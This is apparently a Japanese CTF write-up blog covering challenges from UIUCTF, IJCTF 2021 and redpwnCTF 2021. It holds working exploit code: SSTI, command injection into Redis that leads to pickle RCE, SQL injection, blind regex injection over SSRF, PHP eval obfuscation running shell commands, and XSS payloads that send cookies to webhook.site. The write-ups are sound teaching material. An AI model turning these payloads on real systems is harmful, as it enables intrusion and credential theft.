ここで、s1r1usさんがSVGをアップロードするセッションとはまた別のセッションを作ってやって、そちらのフラグの保存されているパスを特定するようにすれば、SVGの報告ごとのディレクトリの変更の影響を受けないのではと思いついた。なるほど。

以下のようにペイロードを生成するスクリプトを書き、ペイロードの生成と報告を10回繰り返してフラグの存在するディレクトリを特定する。

s = '''
<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject class="node" x="6" y="22" width="1000" height="1000">
    <body xmlns="http://www.w3.org/1999/xhtml">
'''

session_id = '(セッションID)'
known = '0/e/d/9/1/a/9/a/c/'
for c in '0123456789abcdef':
  s += f'''
      <object width="50" height="50" data="../../{session_id}/flag/{known}{c}">
        <object data="http://…/log.php?{c}"></object>
      </object>
  '''

s += '''
    </body>
  </foreignObject>
</svg>
'''

with open('payload.svg', 'w') as f:
  f.write(s)

以下のようなSVGファイルをアップロードし報告してやると、フラグが得られた。

<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject class="node" x="6" y="22" width="1000" height="1000">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <iframe src="../../(セッションID)/flag/(特定したフラグのパス)/flag.txt"></iframe>
   </body>
  </foreignObject>
</svg>

f:id:st98:20210802102352p:plain

[Jail 449] phpfuck_fixed (9 solves)

任意のPHPコードを7種類の文字で表現される等価なコードに変換できるPHPF*ckというツールがあるのだけれども、これを以下のコードが言うように5種類で実現せよという問題だった。無茶を言うな。

<?php
// Flag is inside ./flag.php :)
($x=str_replace("`","",strval($_REQUEST["x"])))&&strlen(count_chars($x,3))<=5?print(eval("return $x;")):show_source(__FILE__)&&phpinfo()

後から Look, he has a monocle (^.9) と、(^.9) の5種類で実現できるというヒントが追加された。このヒントからnyankoさんがまず以下のように 0, 1, 2, 4, 8, INF を作れることを見つけていた。

php > var_dump(9^9);
int(0)
php > var_dump(.99999999999999999^(9^9));
int(1)
php > var_dump(9^9.9999999999999999^.99999999999999999);
int(2)
php > var_dump((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999);
int(4)
php > var_dump(9^.99999999999999999);
int(8)
php > var_dump((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9));
string(4) "INF9"

さらに、(2^4) のようにXORを使えばこれらから0から9までの数値を作れるし、((4).(2))^0 のように数値に対して文字列の結合演算子を使えば任意の数値を作れることも見つけていた。すごい。

nyankoさんが見つけたこれらのテクニックを応用して、次のようなスクリプトCHr という文字列が作れる。

table = {
  0: '(9^9)',
  1: '(.99999999999999999^(9^9))',
  2: '(9^9.9999999999999999^.99999999999999999)',
  4: '((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999)',
  8: '(9^.99999999999999999)',
  'INF': '((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))'
}

for x in range(10):
  if x not in table:
    res = []
    for i in range(4):
      if x & (1 << i):
        res.append(table[1 << i])
    table[x] = '(' + '^'.join(res) + ')'

# @@@
a = table['INF'] + '^' + \
    '.'.join([table[8], table[8], table[4]]) + '^' + \
    '.'.join([table[1], table[6], table[2]])

# CH
ch = a + '^' + \
    '.'.join([table[0], table[0]]) + '^' + \
    '.'.join([table[3], table[8]])

# r
r = table['INF'] + '^' + \
    '.'.join([table[8], table[8]]) + '^' + \
    '.'.join([table[1], table[8]]) + '^' + \
    '.'.join([table[2], table[8]])

# CHr
chr = '(' + ch + ').(' + r + ')'
chr = '(' + chr + ')' + \
    '^(' + '.'.join([table[0], table[0], table[0]]) + ')' + \
    '^(' + '.'.join([table[0], table[0], table[0]]) + ')'

print(chr)

CHr という文字列さえあれば、('CHr')(65).('CHr')(66).('CHr')(67) == 'ABC' のようにして任意の文字列が楽に作れる。shell_exec('cat flag.php') 相当のコードを生成して実行させればフラグが得られた。

import requests

table = {
  0: '(9^9)',
  1: '(.99999999999999999^(9^9))',
  2: '(9^9.9999999999999999^.99999999999999999)',
  4: '((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999)',
  8: '(9^.99999999999999999)',
  'chr': '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(9^.99999999999999999).(9^.99999999999999999).((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999)^(.99999999999999999^(9^9)).((9^9.9999999999999999^.99999999999999999)^((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999)).(9^9.9999999999999999^.99999999999999999)^(9^9).(9^9)^((.99999999999999999^(9^9))^(9^9.9999999999999999^.99999999999999999)).(9^.99999999999999999)).(((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(9^.99999999999999999).(9^.99999999999999999)^(.99999999999999999^(9^9)).(9^.99999999999999999)^(9^9.9999999999999999^.99999999999999999).(9^.99999999999999999)))^((9^9).(9^9).(9^9))^((9^9).(9^9).(9^9))'
}

for x in range(10):
  if x not in table:
    res = []
    for i in range(4):
      if x & (1 << i):
        res.append(table[1 << i])
    table[x] = '(' + '^'.join(res) + ')'

def encode_number(x):
  res = []
  for c in str(x):
    res.append(table[int(c)])
  return '.'.join(res)

def encode(s):
  res = []
  for c in s:
    res.append(encode_number(ord(c)))

  res = '(chr)(' + ').(chr)('.join(res) + ')'
  res = res.replace('chr', table['chr'])

  return res

payload = '(' + encode('shell_exec') + ')(' + encode('cat flag.php') + ')'
req = requests.post('http://phpfuck-fixed.chal.uiuc.tf/', data={
  'x': payload
})
print(req.text)
$ python solve.py
<?php /* uiuctf{pl3as3_n0_m0rE_pHpee_9f4e3058} */ ?>
No flag for you!

IJCTF 2021 writeup

7/24 - 7/25という日程で開催された。zer0ptsで参加して1位。

[Web 884] SodaFactory (19 solves)

次のようなソースコードが与えられる。/makeSoda にSSTIがあるが、sodajsという聞き慣れないテンプレートエンジンが使われている。

const express = require('express')
const soda = require('sodajs/node');

const app = express()
app.use(express.static('public'))
app.use(express.urlencoded({
  extended: true
}))

var images = {
  coke:"https://kellysdistributors.com.au/wp-content/uploads/387-1.jpg",
  pepsi:"https://static.winc.com.au/pi/70/0f795e8e7cbb8d4c874032865e2c8a246d6416-155505/lgsq.jpg",
  fanta:"https://cdn.shopify.com/s/files/1/2070/6751/products/Fanta.jpg?v=1545098502",
}

app.post('/makeSoda', (req, res) => {
  var {name, brand} = req.body;
  img = images[brand];
  res.send(soda(`
    <title>${name}</title>
    <img src='${img}' alt='${name}'>
  `,{}))
})

app.listen(process.env.PORT,'0.0.0.0', () => {
  console.log(`Listening`)
})

Node.jsなので "abc"["constructor"]["constructor"] にアクセスすれば eval 的なことができるんじゃないかな~と思って試したらいけた。

$ curl -g 'http://34.126.213.161:5553/makeSoda' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'name={{"abc"["constructor"]["constructor"]("return process.env")()}}&brand=coke'

    <title>{
  "NODE_VERSION": "12.18.1",
  "HOSTNAME": "07aa9bddbe87",
  "YARN_VERSION": "1.22.4",
  "PORT": "3000",
  "HOME": "/root",
  "PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
  "PWD": "/app",
  "FLAG": "IJCTF{Y00_maK3_g00D_50DA_MA73}"
}</title>
    <img src="https://kellysdistributors.com.au/wp-content/uploads/387-1.jpg" alt="[object Object]" />

[Web 999] Jinx (3 solves)

nginx-lua-moduleを使ったスクリプトである /cgi/ping にOSコマンドインジェクションがある。/cgi/ping?ip=;iduid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) が返ってくる。

local hex_to_char = function(x)
  return string.char(tonumber(x, 16))
end

local unescape = function(url)
  return url:gsub("%%(%x%x)", hex_to_char)
end

local ping = function(ip)
  local cmd = "ping -c1 "..ip
  local p = io.popen(cmd, 'r')
  local s = assert(p:read('*a'))
  p:close()
  return s
end

local ip =  unescape(ngx.var.arg_ip)

ngx.say(ping(ip))

このOSコマンドインジェクションから他のサーバにSSRFができる。cdnapp.py ではRedisをキャッシュのために使っているから、SSRFでRedisサーバにペイロードを仕込んでやればRCEに持ち込める。というのも、Flask-CachingはデフォルトではpickleでシリアライズしたデータをRedisサーバに保存しているから。

from flask import Flask, request
from flask_caching import Cache
from redis import Redis

app = Flask(__name__)

cache = Cache(app, config={'CACHE_TYPE': 'redis','CACHE_REDIS_HOST':'redis'})

redis = Redis('redis')

...

@app.route('/uploads/<path:name>',methods=["GET"])
@cache.cached(timeout=30)
def uploads(name):
    d = redis.get(f"uploads_{name}")
    if d != None:
        return d
    else:
        return "Nothing with the name " + name

EVAL "redis.call('set', 'flask_cache_view//uploads/aikatsu', '!(pickle payload)')" 相当のコマンドをRedisサーバに対して送った上で /uploads/aikatsu にアクセスすれば、仕込んだペイロードが実行される。flag というファイルを読み込むようにしてやればフラグが得られる。

$ curl 'http://34.126.213.161:5551/cgi/ping?ip=;bash%20-c%20"exec%203<>/dev/tcp/redis/6379;echo%20-en%20\"PING\r\nEVAL redis.call(string.char(115,101,116),string.char(102,108,97,115,107,95,99,97,99,104,101,95,118,105,101,119,47,47,117,112,108,111,97,100,115,47,97,105,107,97,116,115,117),string.char(33,99,95,95,98,117,105,108,116,105,110,95,95,10,101,118,97,108,10,40,83,39,111,112,101,110,40,34,102,108,97,103,34,41,46,114,101,97,100,40,41,39,10,116,82,46)) 0\r\nQUIT\r\n\"%20>%263;%20sleep%200.5;%20cat%20<%263"%202>%261'
+PONG
$-1
+OK
$ curl 'http://34.126.213.161:5551/uploads/aikatsu' --output -
IJCTF{p1ckl3+4+p1VOt}

[Forensic 999] Black Letter (3 solves)

ぶっ壊れたPNGファイルが渡される。acTL とか fdAT といったチャンク名が見えるからAPNGと判断できる。バイナリエディタで各チャンクについて見ていくとチャンクサイズとCRCがすべて0になっているし、fcTLfdAT チャンクを見ていくとシーケンス番号からチャンクの順番がバラバラになっていることがわかる。

まず次のコードでチャンクサイズとCRCを直す。

import binascii
import struct
import re

def pack(x):
  return struct.pack('>I', x)

with open('message.png', 'rb') as f:
  data = f.read()

chunk_names = ['IHDR', 'acTL', 'tRNS', 'fcTL', 'fdAT', 'IEND']
pattern = re.compile('|'.join(chunk_names).encode())

res = data[:]
it = pattern.finditer(data)
curr = next(it)
for next_ in it:
  size = next_.start() - curr.start() - 12
  res = res[:curr.start() - 4] + pack(size) + res[curr.start():]

  chunk_name = curr.group(0)
  crc = binascii.crc32(data[curr.start():next_.start() - 8])
  res = res[:next_.start() - 8] + pack(crc) + res[next_.start() - 4:]

  curr = next_

res = res[:-4] + b'\xae\x42\x60\x82'

with open('result.png', 'wb') as f:
  f.write(res)

シーケンス番号をもとにチャンクを正しい順番に並べ替えた上で、各フレームを横に結合して1枚の画像として描画するようなAPNGビュアーを作る。

import io
import struct
import re
import zlib
from PIL import Image

def u8(x):
  return struct.unpack('>B', x)[0]

def u32(x):
  return struct.unpack('>I', x)[0]

def render(data, w, h):
  stream = io.BytesIO(data)
  im = Image.new('L', (w, h))
  pix = im.load()
  for y in range(h):
    mode = stream.read(1)
    for x in range(w):
      pix[x, y] = u8(stream.read(1)),
  return im

with open('result.png', 'rb') as f:
  data = f.read()

chunk_names = ['IDAT', 'fdAT', 'fcTL']
pattern = re.compile('|'.join(chunk_names).encode())

frames = []
it = pattern.finditer(data)
for curr in it:
  chunk_name = curr.group(0).decode()
  size = u32(data[curr.start()-4:curr.start()])
  tmp = data[curr.end():curr.end()+size]

  if chunk_name == 'fcTL':
    seqnum = u32(tmp[:4])
    width, height = u32(tmp[4:8]), u32(tmp[8:12])
    x_off, y_off = u32(tmp[12:16]), u32(tmp[16:20])
    dispose_op = u8(tmp[24:25])
    blend_op = u8(tmp[25:])
  elif chunk_name == 'IDAT':
    seqnum = 0
    tmp = zlib.decompress(tmp)
    im = render(tmp, 25, 25)
  elif chunk_name == 'fdAT':
    seqnum = u32(tmp[:4])
    tmp = zlib.decompress(tmp[4:])
    tmp_im = render(tmp, width, height)
    frames.append({
      'seqnum': seqnum,
      'im': tmp_im,
      'x_off': x_off,
      'y_off': y_off,
      'dispose_op': dispose_op,
      'blend_op': blend_op
    })

frames.sort(key=lambda x: x['seqnum'])
res = Image.new('L', (25 * len(frames), 25))
for i, frame in enumerate(frames):
  if frame['dispose_op'] == 1: # APNG_DISPOSE_OP_BACKGROUND
    im = Image.new('L', (25, 25))
  if frame['dispose_op'] == 2: # APNG_DISPOSE_OP_PREVIOUS
    tmp = im.copy()
  im.paste(frame['im'], (frame['x_off'], frame['y_off']))
  res.paste(im, (25 * i, 0))
  if frame['dispose_op'] == 2: # APNG_DISPOSE_OP_PREVIOUS
    im = tmp

res.show()
res.save('res2.png')

実行するとフラグが得られた。

f:id:st98:20210725165753p:plain

IJCTF{d34f6429957e3ec205d4f140c9b34a33}

redpwnCTF 2021 writeup

7/10 - 7/13という日程で開催された。zer0ptsで参加して4位。

[Web 103] pastebin-1 (612 solves)

かんたんXSS<script>navigator.sendBeacon('https://webhook.site/…',document.cookie)</script> でフラグが得られる。

flag{d1dn7_n33d_70_b3_1n_ru57}

[Web 104] secure (535 solves)

かんたんSQLi。

$ curl 'https://secure.mc.ax/login' -H 'content-type: application/x-www-form-urlencoded' --data-raw "username=YQ%3D%3D&password='OR'a'<'b"
Found. Redirecting to /?message=flag%7B50m37h1n6_50m37h1n6_cl13n7_n07_600d%7D

[Web 122] cool (125 solves)

INSERT 文内でSQLiできるが、50文字以下のペイロードginkoid というユーザのパスワードを抜き出す必要がある。'||(select substr(password,1,1) from users)||' というパスワードで登録すれば、ユーザ名はフォームから与えたものに、パスワードは users の最初のレコードの (つまり ginkoid の) パスワードの1文字目に設定される。こんな感じでn文字目のパスワードを含むユーザをSQLiで作った後、ログイン時にパスワードを総当たりすることで1文字ずつ特定できる。

ずっと select password from users だと複数のレコードが返ってきちゃうからエラーが起こりそうなあ、でも LIMIT 句とか WHERE 句を使おうにも文字数の制限があるしなあと悩んでいたが、aventadorさんの助言のおかげでSQLiteでは users に複数のレコードがあっても INSERT INTO users (username, password) VALUES ('user', (SELECT password FROM users)) はエラーを吐かないということに気づけた。ステレオタイプこわい。悩む前にまず試しましょう。

import requests
import random

allowed_characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'

def generate_token(n=32):
  return ''.join(
    random.choice(allowed_characters) for _ in range(n)
  )

URL = 'https://cool.mc.ax'
def register(username, password):
  req = requests.post(URL + '/register', data={
    'username': username,
    'password': password
  })
  return 'You are logged in' in req.text

def login(username, password):
  req = requests.post(URL, data={
    'username': username,
    'password': password
  })
  return 'You are logged in' in req.text

i = 1
result = ''
while True:
  username = generate_token()
  register(username, f"'||(select substr(password,{i},1) from users)||'")
  for c in allowed_characters:
    if login(username, c):
      result += c
      break
  else:
    print('done')
    break

  print(i, result)
  i += 1

これで eSecFnVoKUDCfGAxfHuQxuootJ6yjKX3 がパスワードだとわかる。ginkoid としてログインするとフラグが得られる。

flag{44r0n_s4ys_s08r137y_1s_c00l}

[Web 175] Requester (41 solves)

/testAPI にSSRFがあり、POSTメソッドでHTTPリクエストをCouchDBに送らせることができる。公式のドキュメントを参考にしながらBlind Regular Expression Injection Attackの要領でフラグが抜き出せる。

$ time curl -g 'https://requester.mc.ax/testAPI?method=POST&url=http://poyoyon:poyoyoyoyoyoyo@couchdB:5984/poyoyon/_find&data={"selector":{"flag":{"$regex":"^f(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}salt$"}}}'
success
real    0m3.347s
user    0m0.005s
sys     0m0.015s
$ time curl -g 'https://requester.mc.ax/testAPI?method=POST&url=http://poyoyon:poyoyoyoyoyoyo@couchdB:5984/poyoyon/_find&data={"selector":{"flag":{"$regex":"^a(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}salt$"}}}'
success
real    0m0.734s
user    0m0.015s
sys     0m0.006s

スクリプトはこんな感じ。

import requests
import json
import string
import time

username = 'poyoyon'
password = 'poyoyoyoyoyoyo'

def query(known):
  t = time.time()
  data = json.dumps({
    'selector': {
      'flag': {
        '$regex': '^' + known + '(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}salt$'
       }
    }
  })
  req = requests.get(f'https://requester.mc.ax/testAPI?method=POST&url=http://{username}:{password}@couchdB:5984/{username}/_find&data={data}')
  return time.time() - t

known = ''
while True:
  for c in '_' + string.printable.strip().replace('*', '').replace('+', '').replace('?', '').replace('.', ''):
    if query(known + c) > 1.5:
      known += c
      break
  print(known)

10~20分ぐらい待つとフラグが得られる。

$ python3 solve.py
f
fl
fla
flag
…
flag{JaVA_tHE_GrEAteST_WeB_lANguAge_32154}

[Web 196] notes (32 solves)

tagがエスケープされていないのでXSSできるが、10文字以下に抑える必要がある。文字数の制限はあるものの、何度もコンテンツを挿入できるのでペイロードを分割してやればよい。<script>…</script><img src=… onerror=…> も文字数の調整が難しかったり、そもそも発火しなかったりするので <style onload=…></style> でなんとかする。

以下のコードを実行して https://notes.mc.ax/view/(ユーザ名) を報告するとadminとしてログインした状態のCookieが得られる。そのままadminの投稿したノートを見るとフラグが得られる。

async function post(data) {
  return fetch('/api/notes', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
    },
    body: JSON.stringify(data)
  });
}

const a = [
  {"body": "a", "tag": "<style a='"},
  {"body": "a", "tag": "'onload='`"},
  {"body": "${navigator.sendBeacon(`https://webhook.site/…`,document.cookie)}", "tag": "`'></style>"},
];
for (const b of a) {
  await post(b);
}
flag{w0w_4n07h3r_60lf1n6_ch4ll3n63}

[Web 251] requester-strikes-back (19 solves)

Requesterの修正版。今度は /testAPI が以下のようにURLを厳格にチェックするようになり、couchdb がホスト名に含まれていれば弾かれるようになってしまった。

/* 43 */       URL urlURI = new URL(url);
/* 44 */       if (urlURI.getHost().toLowerCase().contains("couchdb"))
/* 45 */         throw new ForbiddenResponse("Illegal!"); 
/* 47 */       String urlDecoded = URLDecoder.decode(url, StandardCharsets.UTF_8);
/* 48 */       urlURI = new URL(urlDecoded);
/* 49 */       if (urlURI.getHost().toLowerCase().contains("couchdb"))
/* 50 */         throw new ForbiddenResponse("Illegal!"); 

couchdbIPアドレスを特定すればよいのかなあとか考えたが、よく考えるとA New Era of SSRFのような感じでURLパーサをごまかしてしまえばよかった。http://hoge@couchdb:5984@fuga/ を投げると、このチェックではなぜかホスト名が空文字列になるものの、その後のHTTPリクエストはちゃんと couchdb:5984 に送られる。

あとはRequesterとほぼ同じことをするだけ。ただ、なぜかBlind Regex Injection部分が動かなかった (レスポンスが返ってくる時間に差異がなかった) ので、^(既知の部分)(試す文字).*.(a*を100回繰り返す)(.*) を投げるとなぜか正解を引き当てたときにエラーが発生するという挙動を使ってフラグを得た。

import requests
import json
import string

username = 'nekoneko'
password = 'W1t306yCryjcVGsU'

def query(known):
  data = json.dumps({
    'selector': {
      'flag': {
         '$regex': '^' + known + '.*.' + 'a*' * 100 + '(.*)'
      }
    }
  })

  req = requests.get(f'https://requester-strikes-back.mc.ax/testAPI?method=POST&url=http://{username}:{password}@couchdb:5984@fuga/{username}/_find&data={data}')
  return 'Something went wrong' in req.text

known = 'fla'
while True:
  for c in string.printable.strip().replace('*', '').replace('+', '').replace('?', '').replace('.', ''):
    if query(known + c):
      known += c
      break
  print(known)
flag{TYp0_InsTEad_0F_JAvA_uRl_M4dN3ss_92643}

[Web 265] pastebin-2-social-edition (17 solves)

コメントができるPastebinみたいな感じ。adminにノートのURLを報告するとコメントを投稿してくれる。

innerHTML で検索すると以下の2箇所がヒットする。使われているDOMPurifyのバージョンは2.2.9だから自分でDOMPurifyの脆弱性を見つけない限り前者は使えない。後者はコメントの投稿時にAPIがエラーを返せばその内容を出力するというものだが、エラーメッセージにはユーザ入力が含まれないし、そのままでは使えないように思える。しかし、正常にコメントが投稿された場合には errormessageundefined であるから、もしPrototype PollutionができればXSSに持ち込める。

  document.querySelector('.paste').innerHTML = DOMPurify.sanitize(content);
    // if there's an error, show the message
    if (error) errorContainer.innerHTML = message;
    // otherwise, add the comment
    else {
      errorContainer.innerHTML = '';
      addComment(author, content);
    }

Prototype Pollutionはここ。フォーム内の各 fieldset について result[(fieldsetのname属性)][(inputのname属性)] = (inputのvalue) をしているので、__proto__ という name 属性を持つ fieldset を作ってやればPrototype Pollutionができる。

  // get form data into serializable object
  const parseForm = (form) => {
    const result = {};
    const fieldsets = form.querySelectorAll('fieldset');
    for (const fieldset of fieldsets) {
      const fieldsetName = decodeURIComponent(fieldset.name);
      if (!result[fieldsetName]) result[fieldsetName] = {};
      const inputs = fieldset.querySelectorAll('[name]');
      for (const input of inputs) {
        const inputName = decodeURIComponent(input.name);
        const inputValue = decodeURIComponent(input.value);
        result[fieldsetName][inputName] = inputValue;
      }
    }
    return result;
  };

以下のような内容のノートを作ってやってadminに報告するとフラグが得られた。

<form>
  <fieldset name="__proto_%255f">
    <input name="error" value="a">
    <input name="message" value="<img src=x onerror='navigator.sendBeacon(`https://webhook.site/…`,document.cookie)'>">
  </fieldset>
  <fieldset name="params">
    <input name="author">
    <input name="content">
    <input type="submit">
  </fieldset>
</form>
flag{m4yb3_ju57_a_l177l3_5u5p1c10u5}